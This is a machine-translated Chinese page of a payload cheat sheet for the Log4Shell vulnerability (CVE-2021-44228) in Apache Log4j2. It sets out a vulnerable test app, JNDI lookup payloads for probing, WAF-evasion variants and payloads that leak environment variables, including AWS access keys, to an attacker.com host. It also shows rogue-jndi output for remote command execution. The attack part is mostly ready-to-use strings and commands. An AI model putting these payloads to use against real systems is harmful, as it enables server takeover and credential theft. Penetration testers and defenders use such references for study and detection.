CVE-2021-44228Log4Shell


文档摘要

CVE-2021-44228 Log4Shell Apache Log4j2 2.14.1 及更早版本中,配置、日志消息和参数中使用的 JNDI 功能无法防范攻击者控制的 LDAP 和其他 JNDI 相关端点。当启用消息查找替换时,能够控制日志消息或日志消息参数的攻击者可以从 LDAP 服务器加载并执行任意代码。 概述 易受攻击的代码 有效载荷 扫描 绕过 WAF 漏洞利用 环境变量泄露 远程命令执行 参考文献 易受攻击的代码 您可以在本地重现此漏洞: ,使用 christophetd/log4shell-vulnerable-app 或 leonjza/log4jpwn 有效载荷 扫描 log4j-scan Nuclei 模板 绕过 WAF 漏洞利用 环境变量泄露 远程命令执行

CVE-2021-44228 Log4Shell

Apache Log4j2 2.14.1 及更早版本中,配置、日志消息和参数中使用的 JNDI 功能无法防范攻击者控制的 LDAP 和其他 JNDI 相关端点。当启用消息查找替换时,能够控制日志消息或日志消息参数的攻击者可以从 LDAP 服务器加载并执行任意代码。

概述

易受攻击的代码

您可以在本地重现此漏洞:docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app,使用 christophetd/log4shell-vulnerable-appleonjza/log4jpwn

public String index(@RequestHeader("X-Api-Version") String apiVersion) { logger.info("Received a request for API version " + apiVersion); return "Hello, world!"; }

有效载荷

# Identify Java version and hostname ${jndi:ldap://${java:version}.domain/a} ${jndi:ldap://${env:JAVA_VERSION}.domain/a} ${jndi:ldap://${sys:java.version}.domain/a} ${jndi:ldap://${sys:java.vendor}.domain/a} ${jndi:ldap://${hostName}.domain/a} ${jndi:dns://${hostName}.domain} # More enumerations keywords and variables java:os docker:containerId web:rootDir bundle:config:db.password

扫描

  • log4j-scan

    usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing] [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
  • Nuclei 模板

绕过 WAF

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a} # using lower and upper ${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc} ${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc} ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce} # using env to create the letter ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a} ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}

漏洞利用

环境变量泄露

${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/ # AWS Access Key ${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}

远程命令执行

  • rogue-jndi - @artsploit

    java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21" Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1 Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1 Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2 Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
  • JNDI-Exploit-Kit - @pimps

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


发布者: 作者: 转发
评论区 (0)
U